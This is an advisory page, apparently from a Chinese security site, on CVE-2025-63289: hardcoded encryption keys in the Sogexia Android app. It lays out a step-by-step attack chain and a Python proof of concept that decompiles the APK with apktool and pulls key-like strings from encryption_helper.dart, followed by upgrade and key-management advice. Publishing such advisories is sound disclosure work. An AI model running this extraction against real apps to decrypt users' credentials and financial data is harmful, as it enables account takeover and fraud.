IPBUF安全漏洞报告
English
CVE-2025-63289 CVSS 9.1 严重

CVE-2025-63289 Sogexia Android App硬编码加密密钥漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-63289
漏洞类型
硬编码加密密钥
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sogexia Android App

相关标签

硬编码加密密钥信息泄露Android应用安全Flutter/Dart密钥管理Sogexia移动应用漏洞逆向工程

漏洞概述

CVE-2025-63289是Sogexia Android应用中的一个严重安全漏洞。该漏洞存在于应用的encryption_helper.dart文件中,由于开发人员在代码中硬编码了加密密钥,导致敏感数据面临严重风险。攻击者可以通过反编译应用或直接访问源代码获取这些硬编码的加密密钥,从而解密应用程序存储的敏感数据,包括用户凭证、隐私信息、金融数据等。CVSS评分高达9.1,属于严重级别漏洞,攻击复杂度低,无需任何认证和用户交互即可利用。漏洞影响SDK v35及Max SDK 32版本,已在v36版本中修复。

技术细节

该漏洞源于Sogexia Android App的encryption_helper.dart文件。开发人员在代码中直接硬编码了加密密钥和算法参数,而非使用安全的密钥管理机制。攻击者可以通过以下方式获取硬编码密钥:1) 使用反编译工具(如jadx、apktool)解压APK文件;2) 直接访问源代码仓库获取encryption_helper.dart文件;3) 使用静态代码分析工具扫描应用代码。一旦获取到硬编码密钥,攻击者可以:1) 解密应用本地存储的加密数据;2) 伪造应用与服务器之间的加密通信;3) 访问用户敏感信息。由于加密密钥是静态的且存在于客户端代码中,攻击者有充足的时间进行离线分析和破解。

攻击链分析

STEP 1
步骤1
获取目标APK文件:通过应用商店、第三方APK分享网站或直接下载安装包
STEP 2
步骤2
反编译应用:使用apktool、jadx等工具解压和反编译APK文件
STEP 3
步骤3
定位encryption_helper.dart文件:在反编译后的代码中搜索encryption_helper.dart
STEP 4
步骤4
提取硬编码密钥:分析文件内容,提取硬编码的加密密钥、IV向量和算法参数
STEP 5
步骤5
分析加密数据:使用提取的密钥访问应用本地存储的加密文件(如SharedPreferences、SQLite数据库)
STEP 6
步骤6
解密敏感信息:使用获取的密钥和算法参数解密敏感数据,包括用户凭证、个人信息、财务数据等
STEP 7
步骤7
利用泄露数据:进行身份冒充、金融欺诈、隐私贩卖等恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-63289 PoC - Sogexia Android App Hardcoded Encryption Keys # This PoC demonstrates extracting hardcoded encryption keys from the APK import subprocess import zipfile import re import os def decompile_apk(apk_path, output_dir): """Decompile the APK using apktool""" cmd = ['apktool', 'd', apk_path, '-o', output_dir, '-f'] subprocess.run(cmd, check=True) def extract_encryption_helper(decompiled_dir): """Extract encryption_helper.dart file""" dart_file = os.path.join(decompiled_dir, 'lib', 'encryption_helper.dart') if os.path.exists(dart_file): with open(dart_file, 'r', encoding='utf-8') as f: content = f.read() # Extract hardcoded keys keys = re.findall(r'["\']([a-zA-Z0-9+/=]{20,})["\']', content) # Extract encryption parameters algorithm = re.findall(r'(AES|DES|RSA|encryption.*?=.*?["\'][^"\']+["\'])', content, re.I) return content, keys, algorithm return None, None, None def main(): apk_path = 'sogexia.apk' output_dir = 'decompiled_sogexia' print('[+] Decompiling Sogexia APK...') decompile_apk(apk_path, output_dir) print('[+] Searching for encryption_helper.dart...') content, keys, algorithm = extract_encryption_helper(output_dir) if content: print('[+] Found hardcoded encryption keys:') for key in keys: print(f' Key: {key}') print('[+] Encryption algorithm info:') for alg in algorithm: print(f' {alg}') print('[+] Use these keys to decrypt application data') if __name__ == '__main__': main()

影响范围

Sogexia Android App SDK v35
Sogexia Android App Max SDK 32

防御指南

临时缓解措施
立即将Sogexia Android App升级至v36版本。对于无法立即升级的场景,用户应避免在应用中存储敏感信息,密切关注账户异常活动,并考虑使用其他安全替代应用。同时建议开发团队将硬编码密钥从代码中移除,改用Android Keystore或专业的密钥管理服务进行密钥存储和管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表